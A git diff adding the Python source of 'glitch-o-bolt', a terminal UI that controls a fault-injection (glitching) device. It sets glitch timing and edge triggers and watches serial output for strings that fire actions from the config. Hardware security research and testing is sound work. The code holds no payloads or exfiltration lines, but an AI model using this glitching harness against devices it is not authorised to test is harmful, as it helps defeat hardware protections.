diff --git a/functions.py b/functions.py
new file mode 100644
index 0000000..66279b0
--- /dev/null
+++ b/functions.py
@@ -0,0 +1,766 @@
+import sys
+import os
+import re
+import time
+import serial
+import importlib
+from scope import Scope
+from textual.widgets import Button, Input, Switch
+from textual.containers import Vertical
+
+import asyncio
+import functions
+
+DEBUG_MODE = False
+
+app_instance = None  # Global variable to store the app instance
+text_area = None     # Store global reference to scrollable text area
+config = None        # dynamic loading of config file
+log_time = 0         # timestamp for logfile
+glitch_time = 0      # timestamp for when glitching started
+
+try:
+    s = Scope()
+except IOError:
+    s = None
+    print("Warning: Scope not connected, running in simulation mode")
+
+def set_config(cfg):
+    global config
+    config = cfg
+
+def set_app_instance(app):
+    """Store the app instance for UART access"""
+    global app_instance
+    app_instance = app
+
+def log_message(message):
+    if DEBUG_MODE:  
+        with open("debug.log", "a") as log_file:
+            log_file.write(message + "\n")
+
+def set_log_time(value):
+    global log_time
+    log_time = value
+
+def set_glitch_time(value):
+    global glitch_time
+    glitch_time = value
+
+def get_config_value(name: str) -> int:
+    """Return the latest value of the given config variable, and create them if they don't exist."""
+    if name == "length":
+        if not hasattr(config, "LENGTH"):
+            config.LENGTH = 0  # Default value if not set
+        return config.LENGTH
+    elif name == "repeat":
+        if not hasattr(config, "REPEAT"):
+            config.REPEAT = 0  # Default value if not set
+        return config.REPEAT
+    elif name == "serial_port":
+        if not hasattr(config, "SERIAL_PORT"):
+            config.SERIAL_PORT = "/dev/ttyUSB0"  # Default value if not set
+        return config.SERIAL_PORT
+    elif name == "baud_rate":
+        if not hasattr(config, "BAUD_RATE"):
+            config.BAUD_RATE = 115200  # Default value if not set
+        return config.BAUD_RATE
+    elif name == "delay":
+        if not hasattr(config, "DELAY"):
+            config.DELAY = 0  # Default value if not set
+        return config.DELAY
+    elif name == "log_time":
+        return log_time  # Return the module variable directly
+    elif name == "glitch_time":
+        return glitch_time  # Return the module variable directly
+    elif name == "conFile":
+        if not hasattr(config, "CONFILE"):
+            config.CONFILE = "config.py"  # Or any suitable default
+        return config.CONFILE
+    elif name.startswith("trigger_"):
+        if "_value" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][0]
+        elif "_state" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][1]
+    else:
+        return 0  # Default fallback for unknown names
+
+def set_config_value(name: str, value: int):
+
+    if hasattr(config, name.upper()):
+        current_value = getattr(config, name.upper())
+        setattr(config, name.upper(), value)
+
+        # Update corresponding Input field
+        input_field = app_instance.query_one(f"#{name}_input")
+        input_field.value = str(value)
+
+        # Update the status box row
+        update_status_box(app_instance, name, value)
+
+        # Refresh UI to reflect changes
+        app_instance.refresh()
+
+def get_condition_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_condition_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_condition_value(index: int, value: bool) -> None:
+    """Update switch state in config"""
+    if 0 <= index < len(config.conditions):
+        if app_instance.query(f"#condition_switch_{index}"):
+            switch = app_instance.query_one(f"#condition_switch_{index}", Switch)  
+            switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def ensure_triggers_exist():
+    if not hasattr(config, "triggers") or not config.triggers or len(config.triggers) < 8:
+        config.triggers = [["-", False] for _ in range(8)]
+
+def get_trigger_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_trigger_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_value(index, value):
+    if 0 <= index < len(config.triggers):
+        switch = app_instance.query_one(f"#trigger_switch_{index}", Switch)  
+        switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_string(index: int, value: str):
+    # Validate the input value
+    valid_values = ["^", "v", "-"]
+    if value not in valid_values:
+        raise ValueError(f"Invalid trigger value. Must be one of {valid_values}")
+
+    # Update config
+    config.triggers[index][0] = value
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = app_instance.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(value)
+
+    # Update the switch in the UI
+    switch_widget = app_instance.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+
+def toggle_trigger(self, index: int):
+    current_symbol = config.triggers[index][0]
+    cycle = ["^", "v", "-"]
+    next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+
+    # Update config
+    config.triggers[index][0] = next_symbol
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = self.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(next_symbol)
+
+    # Update the switch in the UI
+    switch_widget = self.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+    log_message("next symbol: "+next_symbol)
+
+def set_uart_switch(state: bool | None = None) -> None:
+    switch_uart = app_instance.query_one("#uart_switch")
+    if state is None:
+        switch_uart.value = not switch_uart.value  # Toggle
+    else:
+        switch_uart.value = state  # Set to specific state
+
+def modify_value(variable_name: str, amount: int) -> int:
+    """
+    Modify a global variable by a given amount.
+    
+    Args:
+        variable_name (str): The name of the variable to modify.
+        amount (int): The amount to increment or decrement.
+
+    Returns:
+        int: The updated value.
+    """
+    global config  # Ensure we modify the variables from config.py
+
+    if variable_name == "length":
+        config.LENGTH += amount
+        return config.LENGTH
+    elif variable_name == "repeat":
+        config.REPEAT += amount
+        return config.REPEAT
+    elif variable_name == "delay":
+        config.DELAY += amount
+        return config.DELAY
+    else:
+        raise ValueError(f"Unknown variable: {variable_name}")
+
+def on_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle button presses and update values dynamically."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        # Strip everything before the first hyphen, including the hyphen itself
+        button_name = button_name.split("-", 1)[-1]  # Get the part after the first hyphen
+        
+        parts = button_name.split("_")
+        if len(parts) == 2:
+            variable_name, amount = parts[0], int(parts[1])
+
+            # Update the variable value in config.py
+            if hasattr(config, variable_name.upper()):
+                current_value = getattr(config, variable_name.upper())
+                new_value = current_value + amount
+                setattr(config, variable_name.upper(), new_value)
+
+                # Update corresponding Input field
+                input_field = app.query_one(f"#{variable_name}_input")
+                input_field.value = str(new_value)
+
+                # Update the status box row
+                update_status_box(app, variable_name, new_value)
+
+                # Refresh UI to reflect changes
+                app.refresh()
+
+def on_save_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle the Save button press to save the values."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        variable_name = button_name.replace("save_val-", "")
+        variable_name = variable_name.replace("_save", "")  # Extract the variable name from button
+        input_field = app.query_one(f"#{variable_name}_input", Input)
+
+        new_value = int(input_field.value)
+        setattr(config, variable_name.upper(), new_value)
+        
+        update_status_box(app, variable_name, new_value)
+        app.refresh()
+
+def save_uart_settings(app, event: Button.Pressed) -> None:
+
+    cur_uart_port = str(app.query_one(f"#uart_port_input", Input).value)
+    cur_baud_rate = int(app.query_one(f"#baud_rate_input", Input).value)
+
+    config.SERIAL_PORT = cur_uart_port
+    config.BAUD_RATE = cur_baud_rate
+
+    main_content = app.query_one(".main_content", Vertical)
+    main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+    app.refresh()
+
+def change_baudrate(new_baudrate):
+    """Change the baud rate using the app_instance's serial connection"""
+    if app_instance is None:
+        add_text("[ERROR] App instance not available")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection'):
+        add_text("[ERROR] No serial connection in app instance")
+        return False
+
+    input_field = app_instance.query_one(f"#baud_rate_input")
+    input_field.value = str(new_baudrate)
+    
+    serial_conn = app_instance.serial_connection
+    
+    if serial_conn is None or not serial_conn.is_open:
+        add_text("[ERROR] Serial port not initialized or closed")
+        return False
+    
+    try:
+        old_baudrate = serial_conn.baudrate
+        serial_conn.baudrate = new_baudrate
+        config.BAUD_RATE = new_baudrate
+
+        main_content = app_instance.query_one(".main_content", Vertical)
+        if functions.get_config_value("log_time") == 0:
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+        else:
+            time = str(functions.get_config_value("log_time"))
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE} \\[{time}.log]"
+        
+        return True
+        
+    except ValueError as e:
+        add_text(f"[ERROR] Invalid baud rate {new_baudrate}: {e}")
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial error changing baud rate: {e}")
+        # Attempt to revert
+        try:
+            serial_conn.baudrate = old_baudrate
+        except:
+            add_text("[WARNING] Failed to revert baud rate")
+    return False
+
+def update_status_box(app, variable_name, new_value):
+    column_keys = list(app.status_box.columns.keys())
+
+    # We only have two columns: "Attribute" and "Value"
+    if variable_name == "length":
+        row_key = list(app.status_box.rows.keys())[0]  # The first row
+        column_key = column_keys[1]  # The Value column for 'length'
+    elif variable_name == "repeat":
+        row_key = list(app.status_box.rows.keys())[1]  # The first row
+        column_key = column_keys[1]  # The Value column for 'repeat'
+    elif variable_name == "delay":
+        row_key = list(app.status_box.rows.keys())[2]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+    elif variable_name == "elapsed":
+        row_key = list(app.status_box.rows.keys())[3]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+
+    app.status_box.update_cell(row_key, column_key, str(new_value))
+
+def run_custom_function(app, event):
+    """Handle custom function buttons with enhanced logging"""
+    button = event.button
+    button_name = button.name
+    debug = DEBUG_MODE  # Set to False after testing
+
+    log_message(f"[CUSTOM] Button pressed: '{button_name}'")
+
+    if button_name:
+        try:
+            variable_name = int(button_name.replace("custom_function-", ""))
+            log_message(f"[CUSTOM] Condition index: {variable_name}")
+
+            if 0 <= variable_name < len(config.conditions):
+                func_name = config.conditions[variable_name][3]
+                log_message(f"[CUSTOM] Executing: {func_name}")
+                
+                # Use the centralized execution function
+                success = execute_condition_action(func_name, debug)
+                
+                if not success:
+                    log_message(f"[CUSTOM] Failed to execute {func_name}")
+            else:
+                log_message(f"[CUSTOM] Invalid index: {variable_name}")
+
+        except ValueError:
+            log_message(f"[CUSTOM] Invalid button format: '{button_name}'")
+        except Exception as e:
+            log_message(f"[CUSTOM] Error: {str(e)}")
+            if debug:
+                log_message(f"[DEBUG] {traceback.format_exc()}")
+
+def write_to_log(text: str, log_time: int):
+    """Write text to a log file named {log_time}.log in the logs directory"""
+    # Create logs directory if it doesn't exist
+    logs_dir = "logs"
+    if not os.path.exists(logs_dir):
+        os.makedirs(logs_dir)
+    
+    # Create filename using log_time value
+    log_file = os.path.join(logs_dir, f"{log_time}.log")
+    
+    # Append text to log file
+    with open(log_file, "a") as f:
+        f.write(f"{text}")
+
+def add_text(text):
+    """Add text to the log widget and optionally to a log file"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text + "\n")
+    
+    log_time = get_config_value("log_time")
+    if log_time > 0:
+        write_to_log(text+"\n", log_time)
+
+def update_text(text):
+    """Update text without adding newlines"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text)
+
+def save_config(app):
+    config_file = get_config_value("conFile")
+    temp_file = config_file + ".tmp"
+    new_file = str(app.query_one(f"#config_file_input", Input).value)
+    
+    try:
+        # Get current values
+        serial_port = get_config_value("serial_port")
+        baud_rate = get_config_value("baud_rate")
+        length = get_config_value("length")
+        repeat = get_config_value("repeat")
+        delay = get_config_value("delay")
+        
+        # Get triggers
+        triggers = []
+        for i in range(8):
+            triggers.append([
+                get_config_value(f"trigger_{i}_value"),
+                get_config_value(f"trigger_{i}_state")
+            ])
+        
+        # Read existing config
+        existing_content = ""
+        custom_functions = []
+        imports = []
+        if os.path.exists(config_file):
+            with open(config_file, 'r') as f:
+                existing_content = f.read()
+            
+            # Extract imports and functions
+            import_pattern = re.compile(r'^import .+?$|^from .+? import .+?$', re.MULTILINE)
+            imports = import_pattern.findall(existing_content)
+            
+            func_pattern = re.compile(r'^(def \w+\(.*?\):.*?)(?=^(?:def \w+\(|\Z))', re.MULTILINE | re.DOTALL)
+            custom_functions = [fn.strip() for fn in func_pattern.findall(existing_content) if fn.strip()]
+        
+        # Write new config file
+        with open(temp_file, 'w') as f:
+            # Write imports
+            if imports:
+                f.write("######\n# LEAVE THESE IMPORTS!\n######\n")
+                f.write("\n".join(imports) + "\n\n")
+            
+            # Write config values
+            f.write("######\n# config values\n######\n\n")
+            f.write(f"SERIAL_PORT = {repr(serial_port)}\n")
+            f.write(f"BAUD_RATE = {baud_rate}\n\n")
+            f.write(f"LENGTH = {length}\n")
+            f.write(f"REPEAT = {repeat}\n")
+            f.write(f"DELAY = {delay}\n\n")
+            
+            # Write triggers
+            f.write("###\n# ^ = pullup, v = pulldown\n###\n")
+            f.write("triggers = [\n")
+            for i, (value, state) in enumerate(triggers):
+                f.write(f"    [{repr(value)}, {state}],  #{i}\n")
+            f.write("]\n")
+            
+            # Write conditions if they exist
+            if hasattr(config, 'conditions') and config.conditions:
+                f.write("\n###\n# name, enabled, string to match\n###\n")
+                f.write("conditions = [\n")
+                for condition in config.conditions:
+                    f.write(f"    {condition},\n")
+                f.write("]\n")
+            
+            # Write custom functions with proper spacing
+            if custom_functions:
+                f.write("\n######\n# Custom functions\n######\n")
+                f.write("\n\n".join(custom_functions))
+                f.write("\n")  # Single newline at end
+        
+        # Finalize file
+        if os.path.exists(new_file):
+            os.remove(new_file)
+        os.rename(temp_file, new_file)
+        config.CONFILE = new_file
+        add_text(f"[SAVED] config {new_file} saved")
+        
+    except Exception as e:
+        log_message(f"Error saving config: {str(e)}")
+        if os.path.exists(temp_file):
+            os.remove(temp_file)
+        raise
+
+def start_serial():
+    try:
+        ser = serial.Serial(
+            port=config.SERIAL_PORT,
+            baudrate=config.BAUD_RATE,
+            timeout=0.1,          # Read timeout (seconds)
+            write_timeout=1.0,    # Write timeout
+            inter_byte_timeout=0.05, # Between bytes
+            exclusive=True,        # Prevent multiple access
+            rtscts=True,           # Enable hardware flow control
+            dsrdtr=True            # Additional flow control
+        )
+        add_text("Connected to serial port.")
+        return ser
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial exception: {e}")
+        return None
+
+def send_uart_message(message):
+    """Send a message via UART from anywhere in the application"""
+    if not app_instance:
+        log_message("[UART] Not sent - No app instance")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection') or not app_instance.serial_connection.is_open:
+        log_message("[UART] Not sent - UART disconnected")
+        return False
+    
+    try:
+        # Ensure message ends with newline if it's not empty
+        if message and not message.endswith('\n'):
+            message += '\n'
+        
+        # Send the message
+        app_instance.serial_connection.write(message.encode('utf-8'))
+        log_message(f"[UART] Sent: {message.strip()}")
+        return True
+    except Exception as e:
+        log_message(f"[UART TX ERROR] {str(e)}")
+        return False
+
+def get_conditions_buffer_size(debug=False):
+    """Return the maximum length of condition strings with debug option"""
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions defined, using default buffer size 256")
+        return 256
+    
+    valid_lengths = [len(cond[2]) for cond in config.conditions if cond[2]]
+    if not valid_lengths:
+        if debug:
+            log_message("[DEBUG] All condition strings are empty, using default buffer size 256")
+        return 256
+    
+    max_size = max(valid_lengths)
+    if debug:
+        log_message(f"[DEBUG] Calculated buffer size: {max_size} (from {len(config.conditions)} conditions)")
+    return max_size
+
+def check_conditions(self, buffer, debug=False):
+    """Check buffer against all conditions by examining every position"""
+    if debug:
+        log_message(f"[DEBUG] Checking buffer ({len(buffer)} chars): {repr(buffer)}")
+        
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions to check against")
+        return None
+        
+    for i, condition in enumerate(config.conditions):
+        trigger_str = condition[2]
+        if not trigger_str:  # Skip empty trigger strings
+            continue
+            
+        trigger_len = len(trigger_str)
+        buffer_len = len(buffer)
+        
+        if debug:
+            log_message(f"[DEBUG] Checking condition {i} for '{trigger_str}' (length: {trigger_len})")
+        
+        # Check every possible starting position in the buffer
+        for pos in range(buffer_len - trigger_len + 1):
+            # Compare slice of buffer with trigger string
+            if buffer[pos:pos+trigger_len] == trigger_str:
+                try:
+                    condition_active = config.conditions[i][1]  # Get state from config
+                    
+                    if not condition_active:
+                        if debug:
+                            log_message(f"[DEBUG] Condition {i} matched at position {pos} but switch is OFF")
+                        continue
+                    
+                    if debug:
+                        log_message(f"[DEBUG] MATCHED condition {i} at position {pos}: {condition[0]} -> {condition[3]}")
+                    return condition[3]
+                    
+                except Exception as e:
+                    if debug:
+                        log_message(f"[DEBUG] Condition check failed for {i}: {str(e)}")
+                    continue
+    
+    if debug:
+        log_message("[DEBUG] No conditions matched")
+    return None
+
+def execute_condition_action(action_name, debug=False):
+    """Execute the named action function using run_custom_function logic"""
+    if debug:
+        log_message(f"[ACTION] Attempting to execute: {action_name}")
+    
+    try:
+        # Check if action exists in config module
+        module_name = 'config'
+        module = importlib.import_module(module_name)
+        
+        if hasattr(module, action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in {module_name}")
+            getattr(module, action_name)()
+            return True
+        
+        # Check if action exists in functions module
+        if hasattr(sys.modules[__name__], action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in functions")
+            getattr(sys.modules[__name__], action_name)()
+            return True
+        
+        # Check if action exists in globals
+        if action_name in globals():
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in globals")
+            globals()[action_name]()
+            return True
+        
+        log_message(f"[ACTION] Function '{action_name}' not found in any module")
+        return False
+        
+    except Exception as e:
+        log_message(f"[ACTION] Error executing {action_name}: {str(e)}")
+        if debug:
+            log_message(f"[DEBUG] Full exception: {traceback.format_exc()}")
+        return False
+
+def get_glitch_elapsed():
+    gtime = get_config_value("glitch_time")
+    if gtime <= 0:
+        return "000:00:00"
+    # Assuming gtime contains the start timestamp
+    elapsed = int(time.time() - gtime)
+    return f"{elapsed//3600:03d}:{(elapsed%3600)//60:02d}:{elapsed%60:02d}"
+
+def start_glitch(glitch_len, trigger_repeats, delay):
+    s.glitch.repeat = glitch_len
+    s.glitch.ext_offset = delay
+    #add_text(f"[GLITCHING]: length:{glitch_len}, offset:{delay}, repeat:{trigger_repeats}")
+            
+    triggers = [] # Get triggers
+    triggers_set = False
+    for i in range(8):
+        triggers.append([
+            get_config_value(f"trigger_{i}_value"),
+            get_config_value(f"trigger_{i}_state")
+        ])
+    for i, (value, state) in enumerate(triggers):
+        if state is True:
+            triggers_set = True
+            if value == "^":
+                #add_text(f"[GLITCHING]: armed: {i} ^")
+                s.arm(i, Scope.RISING_EDGE)
+            elif value == "v":
+                #add_text(f"[GLITCHING]: armed: {i} v")
+                s.arm(i, Scope.FALLING_EDGE)
+
+    if triggers_set is False:
+        #add_text(f"[GLITCHING]: repeat:{trigger_repeats}")
+        for _ in range(trigger_repeats):
+            s.trigger()
+
+def launch_glitch():
+    length = functions.get_config_value("length")
+    repeat = functions.get_config_value("repeat")
+    delay = functions.get_config_value("delay")
+    start_glitch(length, repeat, delay)
+
+async def glitch(self):
+    functions.log_message("[GLITCHING] Starting glitch monitor")
+    previous_gtime = None  # Track the previous state
+    
+    while True:
+        try:
+            gtime = get_config_value("glitch_time")
+            elapsed_time = get_glitch_elapsed()
+            functions.update_status_box(self, "elapsed", elapsed_time)
+            
+            # Only update if the state has changed
+            #if gtime != previous_gtime:
+            if gtime > 0:
+                self.status_box.border_subtitle = "running"
+                self.status_box.styles.border_subtitle_color = "#5E99AE"
+                self.status_box.styles.border_subtitle_style = "bold"
+
+                length = functions.get_config_value("length")
+                repeat = functions.get_config_value("repeat")
+                delay = functions.get_config_value("delay")
+                start_glitch(length, repeat, delay)
+            else:
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.styles.border_subtitle_style = "none"
+                
+                #previous_gtime = gtime  # Update the previous state
+
+        except Exception as e:
+            print(f"Update error: {e}")
+        
+        await asyncio.sleep(0.1)
+
+def glitching_switch(value):
+    switch = app_instance.query_one("#glitch-switch", Switch)  
+    switch.value = value  # Force turn off
+
+def run_output_high(gpio, time):
+    s.io.add(gpio, 1, delay=time)
+    s.io.upload()
+    s.trigger()
+
+def run_output_low(gpio, time):
+    s.io.add(gpio, 0, delay=time)
+    s.io.upload()
+    s.trigger()
+
+async def monitor_buffer(self):
+    """Background task to monitor serial buffer for conditions"""
+    debug = True
+    buffer_size = functions.get_conditions_buffer_size(debug)
+    
+    functions.log_message("[CONDITIONS] Starting monitor")
+    
+    while self.run_serial:
+        if not getattr(self, '_serial_connected', False):
+            await asyncio.sleep(1)
+            continue
+            
+        async with self.buffer_lock:
+            current_buffer = self.serial_buffer
+            max_keep = buffer_size * 3  # Keep enough buffer to catch split matches
+            
+            if len(current_buffer) > max_keep:
+                # Keep last max_keep characters, but ensure we don't cut a potential match
+                keep_from = len(current_buffer) - max_keep
+                # Find the last newline before this position to avoid breaking lines
+                safe_cut = current_buffer.rfind('\n', 0, keep_from)
+                if safe_cut != -1:
+                    keep_from = safe_cut + 1
+                self.serial_buffer = current_buffer[keep_from:]
+                current_buffer = self.serial_buffer
+                if debug:
+                    log_message(f"[DEBUG] Truncated buffer from {len(current_buffer)+keep_from} to {len(current_buffer)} chars")
+        
+        if current_buffer:
+            action = functions.check_conditions(self, current_buffer, debug)
+            if action:
+                functions.log_message(f"[CONDITIONS] Triggering: {action}")
+                success = functions.execute_condition_action(action, debug)
+                
+                if success:
+                    async with self.buffer_lock:
+                        # Clear the buffer after successful match
+                        self.serial_buffer = ""
+                else:
+                    functions.log_message("[CONDITIONS] Action failed")
+        
+        await asyncio.sleep(0.1)
+
+def clear_text():
+    text_area.clear()
+
+def end_program():
+    exit()
\ No newline at end of file
diff --git a/glitch-o-bolt.py b/glitch-o-bolt.py
new file mode 100644
index 0000000..aba439b
--- /dev/null
+++ b/glitch-o-bolt.py
@@ -0,0 +1,527 @@
+#!/usr/bin/env python3
+#
+# glitch-o-matic 2.0 - Optimized Version
+# Enhanced serial data performance while maintaining all existing features
+#
+# requirements: textual
+import os
+import sys
+import time
+import types
+import argparse
+import importlib.util
+import concurrent.futures
+
+import asyncio
+import select
+import serial
+import functools
+
+from scope import Scope
+from textual import events
+from textual.app import App, ComposeResult
+from textual.containers import Container, Vertical, Horizontal, Grid
+from textual.widgets import Static, DataTable, Input, Button, Switch, Log
+from textual.messages import Message
+
+# Define specific names for each control row
+control_names = ["length", "repeat", "delay"]
+
+def load_config(path):
+    spec = importlib.util.spec_from_file_location("dynamic_config", path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    
+    # Inject the loaded config as 'config'
+    sys.modules['config'] = module
+
+class PersistentInput(Input):
+    PREFIX = "$> "  # The permanent prefix
+
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        self.value = self.PREFIX  # Set initial value
+
+    def on_input_changed(self, event: Input.Changed) -> None:
+        """Ensure the prefix is always present."""
+        if not event.value.startswith(self.PREFIX):
+            self.value = self.PREFIX  # Restore the prefix
+        elif len(event.value) < len(self.PREFIX):
+            self.value = self.PREFIX  # Prevent deleting
+
+def set_app_instance(app):
+    functions.app_instance = app
+
+class SerialDataMessage(Message):
+    def __init__(self, data: str):
+        super().__init__()  # Call the parent class constructor
+        self.data = data  # Store the serial data
+
+class LayoutApp(App):
+    CSS_PATH = "style.tcss"
+
+    async def on_ready(self) -> None:
+        #set_app_instance(self)
+        self.run_serial = True
+        self.serial_buffer = ""  # Add buffer storage
+        self.buffer_lock = asyncio.Lock()  # Add thread-safe lock
+        try:
+            functions.s = Scope()
+        except IOError:
+            s = None
+            print("Warning: Scope not connected, running in simulation mode")
+        
+        # Start both serial tasks
+        asyncio.create_task(self.connect_serial())
+        asyncio.create_task(functions.monitor_buffer(self))
+        asyncio.create_task(functions.glitch(self))
+        functions.log_message("[DEBUG] Serial tasks created")
+
+    async def connect_serial(self):
+        """Stable serial connection with proper error handling"""
+        switch_uart = self.query_one("#uart_switch")
+        
+        while self.run_serial:
+            if switch_uart.value:
+                if not getattr(self, '_serial_connected', False):
+                    try:
+                        # Close existing connection if any
+                        if hasattr(self, 'serial_connection') and self.serial_connection:
+                            self.serial_connection.close()
+                        
+                        # Establish new connection
+                        self.serial_connection = functions.start_serial()
+                        if self.serial_connection and self.serial_connection.is_open:
+                            # Configure for reliable operation
+                            self.serial_connection.timeout = 0.5
+                            self.serial_connection.write_timeout = 1.0
+                            self._serial_connected = True
+                            functions.log_message("[SERIAL] Connected successfully")
+                            asyncio.create_task(self.read_serial_loop())
+                        else:
+                            raise serial.SerialException("Connection failed")
+                    except Exception as e:
+                        self._serial_connected = False
+                        functions.log_message(f"[SERIAL] Connection error: {str(e)}")
+                        switch_uart.value = False
+                        await asyncio.sleep(2)  # Wait before retrying
+            else:
+                if getattr(self, '_serial_connected', False):
+                    if hasattr(self, 'serial_connection') and self.serial_connection:
+                        self.serial_connection.close()
+                    self._serial_connected = False
+                    functions.log_message("[SERIAL] Disconnected")
+            
+            await asyncio.sleep(1)  # Check connection status periodically
+
+    async def read_serial_loop(self):
+        """Serial reading that perfectly preserves original line endings"""
+        buffer = ""
+        
+        while self.run_serial and getattr(self, '_serial_connected', False):
+            try:
+                # Read available data (minimum 1 byte)
+                data = await asyncio.get_event_loop().run_in_executor(
+                    None,
+                    lambda: self.serial_connection.read(max(1, self.serial_connection.in_waiting))
+                )
+                
+                if data:
+                    decoded = data.decode('utf-8', errors='ignore')
+                    
+                    # Store raw data in condition monitoring buffer
+                    async with self.buffer_lock:
+                        self.serial_buffer += decoded
+                    
+                    # Original character processing
+                    for char in decoded:
+                        if char == '\r':
+                            continue
+                        
+                        buffer += char
+                        
+                        if char == '\n':
+                            self.post_message(SerialDataMessage(buffer))
+                            buffer = ""
+                    
+                    if buffer:
+                        self.post_message(SerialDataMessage(buffer))
+                        buffer = ""
+                
+                await asyncio.sleep(0.01)
+                
+            except serial.SerialException as e:
+                functions.log_message(f"[SERIAL] Read error: {str(e)}")
+                self._serial_connected = False
+                break
+            except Exception as e:
+                functions.log_message(f"[SERIAL] Unexpected error: {str(e)}")
+                await asyncio.sleep(0.1)
+
+    async def monitor_conditions(self):
+        """Background task to monitor serial buffer for conditions with debug"""
+        debug = functions.DEBUG_MODE  # Set to False to disable debug logging after testing
+        buffer_size = functions.get_conditions_buffer_size(debug)
+        
+        if debug:
+            functions.log_message("[DEBUG] Starting condition monitor")
+            functions.log_message(f"[DEBUG] Initial buffer size: {buffer_size}")
+            functions.log_message(f"[DEBUG] Current conditions: {config.conditions}")
+        
+        while self.run_serial:
+            if hasattr(self, '_serial_connected') and self._serial_connected:
+                # Get a snapshot of the buffer contents
+                async with self.buffer_lock:
+                    current_buffer = self.serial_buffer
+                    if debug and current_buffer:
+                        functions.log_message(f"[DEBUG] Current buffer length: {len(current_buffer)}")
+                    
+                    # Keep reasonable buffer size
+                    if len(current_buffer) > buffer_size * 2:
+                        self.serial_buffer = current_buffer = current_buffer[-buffer_size*2:]
+                        if debug:
+                            functions.log_message(f"[DEBUG] Trimmed buffer to {len(current_buffer)} chars")
+                
+                # Check for conditions
+                action = functions.check_conditions(self, current_buffer, debug)
+                if action:
+                    if debug:
+                        functions.log_message(f"[DEBUG] Executing action: {action}")
+                    functions.execute_condition_action(action, debug)
+                elif debug and current_buffer:
+                    functions.log_message("[DEBUG] No action triggered")
+        
+        await asyncio.sleep(0.1)  # Check 10 times per secon
+
+    async def on_key(self, event: events.Key) -> None:
+        """Handles input with proper newline preservation"""
+        if event.key == "enter" and self.input_field.has_focus:
+            text_to_send = self.input_field.value
+            
+            # Preserve exact input (don't strip) but ensure newline
+            if not text_to_send.endswith('\n'):
+                text_to_send += '\n'
+            
+            # Check if serial_connection exists and is open
+            serial_connection = getattr(self, 'serial_connection', None)
+            if serial_connection is not None and serial_connection.is_open:
+                try:
+                    # Send raw bytes exactly as entered
+                    await asyncio.get_event_loop().run_in_executor(
+                        None,
+                        lambda: serial_connection.write(text_to_send.encode('utf-8'))
+                    )
+                    
+                    # Echo to console with prefix
+                    display_text = f"> {text_to_send.rstrip()}"
+                    functions.add_text(display_text)
+                    
+                except Exception as e:
+                    functions.log_message(f"[UART TX ERROR] {str(e)}")
+                    functions.add_text(">> Failed to send")
+            else:
+                functions.add_text(">> Not sent - UART disconnected")
+            
+            self.input_field.value = ""
+            event.prevent_default()
+
+    async def on_serial_data_message(self, message: SerialDataMessage) -> None:
+        """Display serial data exactly as received"""
+        if hasattr(functions, 'text_area'):
+            # Write the data exactly as it should appear
+            functions.text_area.write(message.data)
+
+            log_time = functions.get_config_value("log_time")
+            if log_time > 0:
+                functions.write_to_log(message.data, log_time)
+            #functions.add_text(message.data)
+            functions.text_area.scroll_end()
+
+    def read_from_serial_sync(self):
+        """Synchronous line reading with proper timeout handling"""
+        if not self.serial_connection:
+            return b""
+        
+        try:
+            # Read with timeout
+            ready, _, _ = select.select([self.serial_connection], [], [], 0.01)
+            if ready:
+                # Read until newline or buffer limit
+                return self.serial_connection.read_until(b'\n', size=4096)
+            return b""
+        except Exception as e:
+            functions.log_message(f"[ERROR] Serial read error: {str(e)}")
+            return b""
+
+    def on_button_pressed(self, event: Button.Pressed) -> None:
+        button_id_parts = event.button.name
+        parts = button_id_parts.split("-")
+        button_id = parts[0]
+        if(button_id == "exit_button"):
+            functions.end_program() 
+        if(button_id == "clear_button"):
+            functions.clear_text()
